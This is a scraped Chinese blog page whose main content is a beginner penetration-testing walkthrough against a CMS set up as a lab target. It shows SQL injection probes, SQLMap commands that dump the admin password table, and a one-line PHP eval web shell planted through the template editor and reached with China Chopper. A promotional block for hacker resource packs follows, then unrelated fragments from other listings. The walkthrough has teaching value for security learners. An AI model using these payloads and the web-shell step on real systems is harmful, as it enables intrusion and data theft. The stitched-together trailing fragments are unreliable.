news 2026/5/6 16:06:46

网络安全攻防:Web安全之渗透测试(非常详细)零基础入门到精通,收藏这一篇就够了

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网络安全攻防:Web安全之渗透测试(非常详细)零基础入门到精通,收藏这一篇就够了

本文基于某个开源的CMS搭建一个靶机,来演示Web渗透整个过程。

1. SQL注入检测

在访问网站时收集资料,了解网站的各项接口、功能,手动测试其每一个参数是否存在注入。其中发现一个带参数ID的页面,如图1所示。

图1 带参数ID的页面

通过手动注入判断该参数是否为注入点,发现当输入id=10’and‘1’=’0时返回错误页面,如图2所示。

图2 返回错误页面

而当参数id=10’and‘1’=’1时仍然显示为正确页面,由此怀疑ID参数后面的and语句内容被当作SQL语句一部分带入执行,此处可能存在SQL注入。

2. SQL注入利用

纯粹的手工注入将花费大量时间和精力,此处利用SQLMap工具对此疑似SQL注入点的参数进行判断。

利用SQLMap语句:

–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”

判断该URL是否存在注入,其中,*表示判断该处参数,其结果如图3所示。

图3 判断注入结果

可见参数 id 存在布尔注入、错误回显注入、时间盲注等多种注入隐患。并且 SQLMap直接判断出其后台数据库为MySQL 5.0,服务器为Apache2.4.3,脚本环境为PHP5.6.25。

利用SQLMap继续查看数据库内容,其中利用–dbs参数查看所有数据库发现共有5个库,如图4所示。

图4 查看数据库

猜测yx_test为该CMS的数据库,继续深入查看其内容。利用–D 库名–tables可查看指定库的表名,如图5所示。

图5 查看指定库的表名

共有20张表,需要得到管理员账号密码,因此,利用–T参数指定表dump其内容。

于是得到了该表的结构以及其中数据,并反解MD5,可以获得一个登录名为admin的账号和密码654321。

3. 后台登录getshell

进入后台,如图6所示。

图6 进入后台

继续在后台管理平台上寻找可上传Webshell的方法,以取得服务器Shell权限。

在进入到全局设置下前台模板的管理模板文件功能后,发现有许多PHP文件,其中利用添加模板的功能可以直接在网页上编写PHP文件,并保存到服务器,如图7所示。

图7 编写PHP文件

利用网页编辑,写入一个一句话木马,其内容为<?php eval($\\\\\\\\\\\\\\\_POST\\\\\\\\\\\\\\\['test'\\\\\\\\\\\\\\\]);?>,写入到一个名为muma.php的文件,如图8所示。

图8 写入木马

木马写入成功,只需知道网页地址即可访问链接。

最后利用中国菜刀工具连接该木马,如图9所示。

图9 连接木马

成功连接站点,可以远程下载、上传任意文件,也可运行Shell执行代码。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/27 19:18:14

多工厂协同的“指挥官”:APS系统如何让生产计划跑得更快?

高级计划排程&#xff08;Advanced Planning and Scheduling, APS&#xff09;系统在多工厂协同中的运用&#xff0c;能够显著提升制造企业的整体运营效率、资源利用率和交付能力。特别是在汽车制造、电子、物流等多工厂分散布局的企业中&#xff0c;通过APS系统实现全局统筹、…

作者头像 李华
网站建设 2026/5/2 19:28:15

72、Mac OS X 与旧系统功能对比及 Windows 转 Mac OS X 功能指引

Mac OS X 与旧系统功能对比及 Windows 转 Mac OS X 功能指引 一、Mac OS 9 到 Mac OS X 的功能变化 (一)安全与文件相关功能 Security :在 Mac OS 9 中,Security 文件夹是 Apple File Security 和 Apple Verifier 这两个程序的所在之处,它们可使用 Finder 的 Encrypt …

作者头像 李华
网站建设 2026/4/16 18:27:04

springboot基于vue的餐厅点餐小程序的设计与实现_2f922i3k

目录 已开发项目效果实现截图开发技术系统开发工具&#xff1a; 核心代码参考示例1.建立用户稀疏矩阵&#xff0c;用于用户相似度计算【相似度矩阵】2.计算目标用户与其他用户的相似度系统测试总结源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&am…

作者头像 李华
网站建设 2026/5/2 4:05:10

springboot基于vue的自来水厂多渠道抄表管理系统_g7w2f82r

目录已开发项目效果实现截图在这里插入图片描述核心代码参考示例1.建立用户稀疏矩阵&#xff0c;用于用户相似度计算【相似度矩阵】2.计算目标用户与其他用户的相似度系统测试总结源码文档获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;已开发项…

作者头像 李华
网站建设 2026/5/6 3:58:26

53、网络驱动开发:从数据传输到多播处理及兼容性考量

网络驱动开发:从数据传输到多播处理及兼容性考量 1. I/O 控制与数据交互 在网络驱动开发中, ifr 指针指向内核空间的一个地址,该地址保存着用户传递的结构体副本。当 do_ioctl 函数返回后,这个结构体又会被复制回用户空间。这意味着驱动程序可以利用私有命令来接收和…

作者头像 李华